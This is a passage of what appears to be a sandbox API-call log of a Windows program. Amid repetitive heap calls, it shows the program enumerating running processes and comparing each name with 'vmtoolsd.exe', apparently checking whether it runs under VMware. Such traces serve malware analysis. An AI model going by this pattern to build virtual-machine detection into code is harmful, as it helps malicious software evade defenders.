RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf278 [0133.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0133.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0133.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0133.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0133.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf408 [0133.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0133.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0133.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf438 [0133.488] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0133.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0133.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.488] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.488] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0133.488] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0133.491] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.492] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0133.492] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0133.492] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0133.492] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0133.492] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0133.492] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0133.492] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0133.492] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0133.492] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec3170 [0133.492] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0133.492] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csrss.exe", cchCount1=9, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.493] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0133.493] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.493] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3170 | out: hHeap=0xe80000) returned 1 [0133.493] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0133.493] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0133.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0133.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2b8 [0133.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0133.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0133.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0133.494] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0133.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0133.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0133.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0133.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0133.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0133.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2f8 [0133.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0133.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0133.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0133.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0133.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf398 [0133.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0133.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0133.495] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0133.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0133.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0133.495] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.496] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0133.496] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0133.496] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0133.496] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.496] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0133.496] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0133.496] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0133.496] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0133.497] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="winlogon.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 3 [0133.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0133.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0133.497] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0133.497] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1b8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0133.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf338 [0133.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0133.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf378 [0133.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0133.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0133.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0133.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0133.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0133.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0133.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.498] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0133.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0133.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0133.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0133.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2f8 [0133.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0133.499] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0133.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0133.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0133.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0133.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.499] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0133.500] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0133.500] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0133.500] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.500] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0133.500] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="services.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.500] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0133.500] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0133.501] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0133.501] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0133.501] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1b8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2f8 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec14d8 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2a8 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf338 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf408 [0133.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0133.502] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0133.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.502] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0133.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0133.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0133.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0133.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0133.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0133.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec14d8 | out: hHeap=0xe80000) returned 1 [0133.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2a8 | out: hHeap=0xe80000) returned 1 [0133.503] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec3170 [0133.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0133.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lsass.exe", cchCount1=9, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.503] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0133.504] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0133.504] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3170 | out: hHeap=0xe80000) returned 1 [0133.514] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0133.514] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf378 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076970 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf318 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf408 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2f8 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2b8 [0133.516] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0133.516] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0133.516] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0133.516] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.516] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0133.517] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0133.517] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0133.517] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0133.517] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.517] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0133.517] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0133.517] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0133.518] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0133.518] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.518] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec32f8 [0133.518] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0133.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.518] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076970 | out: hHeap=0xe80000) returned 1 [0133.518] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.518] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec32f8 | out: hHeap=0xe80000) returned 1 [0133.518] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0133.518] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.520] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0133.520] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0133.520] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0133.520] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf398 [0133.520] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0133.520] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf448 [0133.520] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0133.520] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2f8 [0133.520] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0133.520] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0133.520] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0133.520] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0133.521] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.521] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0133.521] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0133.521] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0133.521] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf278 [0133.521] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.521] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0133.521] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.521] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0133.521] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0133.521] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0133.521] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0133.521] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0133.522] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.522] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0133.522] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0133.522] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0133.522] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0133.522] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2fb0 [0133.522] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0133.522] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.522] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0133.522] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.523] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2fb0 | out: hHeap=0xe80000) returned 1 [0133.523] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.523] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1f8, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0133.524] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0133.524] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0133.524] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0133.524] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf448 [0133.524] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0133.524] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0133.524] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0133.524] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf338 [0133.524] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0133.524] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 